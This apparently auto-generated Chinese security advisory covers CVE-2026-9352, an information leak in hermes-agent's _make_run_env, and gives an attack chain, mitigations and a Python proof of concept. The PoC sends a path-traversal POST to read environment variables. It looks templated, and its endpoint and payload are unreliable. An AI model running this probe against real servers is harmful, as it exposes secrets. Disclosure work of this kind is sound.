IPBUF安全漏洞报告
English
CVE-2026-9352 CVSS 5.3 中危

CVE-2026-9352 NousResearch hermes-agent 信息泄露漏洞

披露日期: 2026-05-24

漏洞信息

漏洞编号
CVE-2026-9352
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NousResearch hermes-agent

相关标签

信息泄露NousResearchhermes-agentMessaging Gateway Handler输入验证不足CVE-2026-9352中危漏洞远程攻击无需认证

漏洞概述

CVE-2026-9352是NousResearch hermes-agent项目中的一个信息泄露漏洞。该漏洞存在于tools/environments/local.py文件中的_make_run_env函数中,攻击者可以通过构造特定的请求操纵Messaging Gateway Handler组件,从而获取敏感信息。由于该漏洞的利用代码已公开,且CVSS评分为5.3,属于中危级别,远程攻击者无需认证即可利用此漏洞。 NousResearch hermes-agent是一个开源的AI代理框架,广泛应用于自动化任务处理和消息传递场景。该漏洞的存在可能导致系统配置信息、环境变量、敏感文件路径等机密信息被未授权访问。鉴于该漏洞已公开披露且厂商未做出响应,建议使用者尽快采取防护措施。

技术细节

该漏洞的根本原因在于tools/environments/local.py文件中的_make_run_env函数缺乏足够的输入验证和访问控制机制。攻击者可以通过向Messaging Gateway Handler发送精心构造的请求,触发_make_run_env函数的异常执行路径,从而访问本应受保护的系统资源。具体来说,攻击者可以利用函数对用户输入处理不当的缺陷,读取本地文件系统中的敏感文件路径、环境变量配置以及系统部署信息。由于函数设计时未考虑边界情况,攻击者可以通过路径遍历或参数注入的方式绕过正常的安全检查。值得注意的是,该漏洞的攻击复杂度较低(AC:L),攻击者只需具备基本的网络访问能力即可发起攻击,无需特殊权限或用户交互。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标服务器上运行的NousResearch hermes-agent版本,确认其属于2026.4.23之前的版本
STEP 2
步骤2: 漏洞定位
攻击者定位到Messaging Gateway Handler组件,识别出tools/environments/local.py中的_make_run_env函数存在输入验证缺陷
STEP 3
步骤3: 构造攻击载荷
攻击者构造包含路径遍历或参数注入的恶意请求,操纵_make_run_env函数的执行流程
STEP 4
步骤4: 发送恶意请求
通过HTTP POST请求向/api/gateway/make_run_env端点发送精心构造的载荷,利用该漏洞无需认证的特性
STEP 5
步骤5: 获取敏感信息
成功利用后,攻击者获取系统配置、环境变量、文件路径等敏感信息,用于进一步攻击或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-9352 PoC - Information Disclosure in NousResearch hermes-agent # Target: Messaging Gateway Handler component def exploit_cve_2026_9352(target_url): """ Exploit for CVE-2026-9352: Information Disclosure in hermes-agent Affected component: tools/environments/local.py _make_run_env function """ # Step 1: Identify the vulnerable endpoint endpoint = f"{target_url}/api/gateway/make_run_env" # Step 2: Craft malicious payload to trigger information disclosure # The vulnerability allows manipulation of the messaging gateway handler payload = { "action": "_make_run_env", "manipulation": { "path": "../../../../", "target": "environment_vars" } } # Step 3: Send the exploit request try: response = requests.post( endpoint, json=payload, headers={ "Content-Type": "application/json", "User-Agent": "hermes-agent-exploit-test" }, timeout=30 ) # Step 4: Extract sensitive information from response if response.status_code == 200: data = response.json() print("[+] Successfully extracted information:") print(json.dumps(data, indent=2)) return data else: print(f"[-] Request failed with status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None if __name__ == "__main__": # Example usage target = "http://target-server:port" exploit_cve_2026_9352(target)

影响范围

NousResearch hermes-agent < 2026.4.23

防御指南

临时缓解措施
由于厂商尚未响应此漏洞披露,建议立即采取以下临时缓解措施:1) 在不影响业务的前提下,暂时禁用或限制Messaging Gateway Handler的对外暴露;2) 通过网络层访问控制列表(ACL)限制对相关API端点的访问;3) 实施请求速率限制和异常行为检测;4) 加强对应用日志的监控,及时发现潜在的攻击行为;5) 考虑使用反向代理或API网关增加额外的安全层。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表